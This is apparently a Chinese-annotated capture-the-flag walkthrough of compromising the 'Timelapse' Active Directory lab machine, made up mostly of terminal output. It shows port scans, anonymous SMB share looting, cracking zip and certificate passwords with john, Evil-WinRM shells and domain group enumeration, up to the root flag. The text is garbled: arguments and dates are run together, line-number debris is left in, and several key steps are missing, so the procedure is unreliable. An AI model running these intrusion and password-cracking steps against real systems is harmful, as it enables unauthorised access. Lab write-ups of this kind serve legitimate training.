┌──(kali㉿offsec)-[~/Desktop] └─$ sudo nmap -p- -sU --min-rate=1000010.10.11.152 [sudo] kali 的密码: PORT STATE SERVICE 53/udp open domain 88/udp open kerberos-sec 123/udp open ntp
┌──(kali㉿offsec)-[~/Desktop] └─$ sudo nmap -p- --min-rate=1000010.10.11.152 -oG allports PORT STATE SERVICE 53/tcp open domain 88/tcp open kerberos-sec 135/tcp open msrpc 139/tcp open netbios-ssn 389/tcp open ldap 445/tcp open microsoft-ds 593/tcp open http-rpc-epmap 636/tcp open ldapssl 3268/tcp open globalcatLDAP 3269/tcp open globalcatLDAPssl 5986/tcp open wsmans 9389/tcp open adws 49667/tcp open unknown 49673/tcp open unknown 49674/tcp open unknown 49727/tcp open unknown
┌──(kali㉿offsec)-[~/Desktop] └─$ sudo nmap -p53,88,135,139,389,445,593,636,3268,3269,5986,9389,49667,49673,49674,49727 -sV -sC --min-rate=1000010.10.11.152 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-19 21:51 CST Nmap scan report for10.10.11.152 Host is up (0.30s latency).
PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-03-1921:52:08Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open ldapssl? 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name) 3269/tcp open globalcatLDAPssl? 5986/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) | tls-alpn: |_ http/1.1 |_ssl-date: 2024-03-19T21:55:21+00:00; +7h59m59s from scanner time. | ssl-cert: Subject: commonName=dc01.timelapse.htb | Not valid before: 2021-10-25T14:05:29 |_Not valid after: 2022-10-25T14:25:29 |_http-title: Not Found 9389/tcp open mc-nmf .NET Message Framing 49667/tcp open msrpc Microsoft Windows RPC 49673/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49674/tcp open msrpc Microsoft Windows RPC 49727/tcp open unknown Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Default share IPC$ IPC Remote IPC NETLOGON Disk Logon server share Shares Disk SYSVOL Disk Logon server share Reconnecting with SMB1 for workgroup listing. do_connect: Connection to 10.10.11.152 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND) Unable to connect with SMB1 -- no workgroup available
┌──(kali㉿offsec)-[~/Desktop] └─$ smbclient \\\\10.10.11.152\\SYSVOL -N Try "help" to get a list of possible commands. smb: \> ls NT_STATUS_ACCESS_DENIED listing \* smb: \> dir NT_STATUS_ACCESS_DENIED listing \* smb: \> pwd Current directory is \\10.10.11.152\SYSVOL\ smb: \> exit
┌──(kali㉿offsec)-[~/Desktop] └─$ smbclient \\\\10.10.11.152\\Shares -N Try "help" to get a list of possible commands. smb: \> ls . D 0 Mon Oct 2523:39:152021 .. D 0 Mon Oct 2523:39:152021 Dev D 0 Tue Oct 2603:40:062021 HelpDesk D 0 Mon Oct 2523:48:422021
6367231 blocks of size 4096.1264689 blocks available smb: \> cd Dev\ smb: \Dev\> ls . D 0 Tue Oct 2603:40:062021 .. D 0 Tue Oct 2603:40:062021 winrm_backup.zip A 2611 Mon Oct 2523:46:422021
6367231 blocks of size 4096.1263607 blocks available smb: \Dev\> get winrm_backup.zip getting file \Dev\winrm_backup.zip of size 2611 as winrm_backup.zip (1.0 KiloBytes/sec) (average 1.0 KiloBytes/sec) smb: \Dev\> cd ../ smb: \> cd HelpDesk\ smb: \HelpDesk\> ls . D 0 Mon Oct 2523:48:422021 .. D 0 Mon Oct 2523:48:422021 LAPS.x64.msi A 1118208 Mon Oct 2522:57:502021 LAPS_Datasheet.docx A 104422 Mon Oct 2522:57:462021 LAPS_OperationsGuide.docx A 641378 Mon Oct 2522:57:402021 LAPS_TechnicalSpecification.docx A 72683 Mon Oct 2522:57:442021
6367231 blocks of size 4096.1260293 blocks available smb: \HelpDesk\>
┌──(kali㉿offsec)-[~/Desktop] └─$ smbclient \\\\10.10.11.152\\NETLOGON -N Try "help" to get a list of possible commands. smb: \> ls NT_STATUS_ACCESS_DENIED listing \* smb: \> exit
┌──(kali㉿offsec)-[~/Desktop] └─$ sudo john hash --wordlist=/usr/share/wordlists/rockyou.txt Using default input encoding: UTF-8 Loaded 1 password hash (PKZIP [32/64]) Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status supremelegacy (winrm_backup.zip/legacyy_dev_auth.pfx) 1g 0:00:00:00 DONE (2024-03-1923:03) 3.448g/s 11977Kp/s 11977Kc/s 11977KC/s suzyqzb..superkebab Use the "--show" option to display all of the cracked passwords reliably Session completed.
┌──(kali㉿offsec)-[~/Desktop] └─$ sudo john hash1 --wordlist=/usr/share/wordlists/rockyou.txt [sudo] kali 的密码: Using default input encoding: UTF-8 Loaded 1 password hash (pfx, (.pfx, .p12) [PKCS#12 PBE (SHA1/SHA2) 128/128 ASIMD 4x]) Cost 1 (iteration count) is 2000for all loaded hashes Cost 2 (mac-type [1:SHA1 224:SHA224 256:SHA256 384:SHA384 512:SHA512]) is 1for all loaded hashes Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status thuglegacy (legacyy_dev_auth.pfx) 1g 0:00:01:13 DONE (2024-03-1923:07) 0.01357g/s 43873p/s 43873c/s 43873C/s thyriana..thsco04 Use the "--show" option to display all of the cracked passwords reliably Session completed.
*Evil-WinRM* PS C:\Users\legacyy\Documents> whoami timelapse\legacyy *Evil-WinRM* PS C:\Users\legacyy\Documents> net user legacyy User name legacyy Full Name Legacyy Comment User's comment Country/region code 000 (System Default) Account active Yes Account expires Never
Password last set10/23/202112:17:10 PM Password expires Never Password changeable 10/24/202112:17:10 PM Password required Yes User may change password Yes
Workstations allowed All Logon script User profile Home directory Last logon 3/20/20243:18:33 AM
Logon hours allowed All
Local Group Memberships *Remote Management Use Global Group memberships *Domain Users *Development The command completed successfully.
Privilege Name Description State ============================= ============================== ======= SeMachineAccountPrivilege Add workstations to domain Enabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled *Evil-WinRM* PS C:\Users\legacyy\Documents>
net group "Domain Users" /domain
*Evil-WinRM* PS C:\Users\legacyy\Documents>
17、查询当前域用户组成员
1 2 3 4 5 6 7 8 9 10 11 12 13
*Evil-WinRM* PS C:\Users\legacyy\Documents> net group "Domain Users" /domain Group name Domain Users Comment All domain users
*Evil-WinRM* PS C:\Users\legacyy\Documents> cd C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ *Evil-WinRM* PS C:\Users\legacyy\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine> dir
Privilege Name Description State ============================= ============================== ======= SeMachineAccountPrivilege Add workstations to domain Enabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled *Evil-WinRM* PS C:\Users\svc_deploy\Documents> net user svc_deploy User name svc_deploy Full Name svc_deploy Comment User's comment Country/region code 000 (System Default) Account active Yes Account expires Never
Password last set10/25/202112:12:37 PM Password expires Never Password changeable 10/26/202112:12:37 PM Password required Yes User may change password Yes
Workstations allowed All Logon script User profile Home directory Last logon 3/20/20243:50:13 AM
Logon hours allowed All
Local Group Memberships *Remote Management Use Global Group memberships *LAPS_Readers *Domain Users The command completed successfully.
*Evil-WinRM* PS C:\Users\svc_deploy\Documents>
21、查看当前用户新发现的这个异常组的情况
1 2 3 4 5 6 7 8 9 10 11
*Evil-WinRM* PS C:\Users\svc_deploy\Documents> net groups "LAPS_Readers" /domain Group name LAPS_Readers Comment
Members
------------------------------------------------------------------------------- svc_deploy The command completed successfully.
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Warning: SSL enabled
Info: Establishing connection to remote endpoint *Evil-WinRM* PS C:\Users\Administrator\Documents> cd ../Desktop *Evil-WinRM* PS C:\Users\Administrator\Desktop> ls *Evil-WinRM* PS C:\Users\Administrator\Desktop> cd ../../ *Evil-WinRM* PS C:\Users> dir
Directory: C:\Users
Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 10/23/202111:27 AM Administrator d----- 10/25/20218:22 AM legacyy d-r--- 10/23/202111:27 AM Public d----- 10/25/202112:23 PM svc_deploy d----- 2/23/20225:45 PM TRX
*Evil-WinRM* PS C:\Users> cd TRX *Evil-WinRM* PS C:\Users\TRX> cd Desktop *Evil-WinRM* PS C:\Users\TRX\Desktop>
25、获取最终flag信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14
*Evil-WinRM* PS C:\Users\TRX\Desktop> dir
Directory: C:\Users\TRX\Desktop
Mode LastWriteTime Length Name ---- ------------- ------ ---- -ar--- 3/20/20242:59 AM 34 root.txt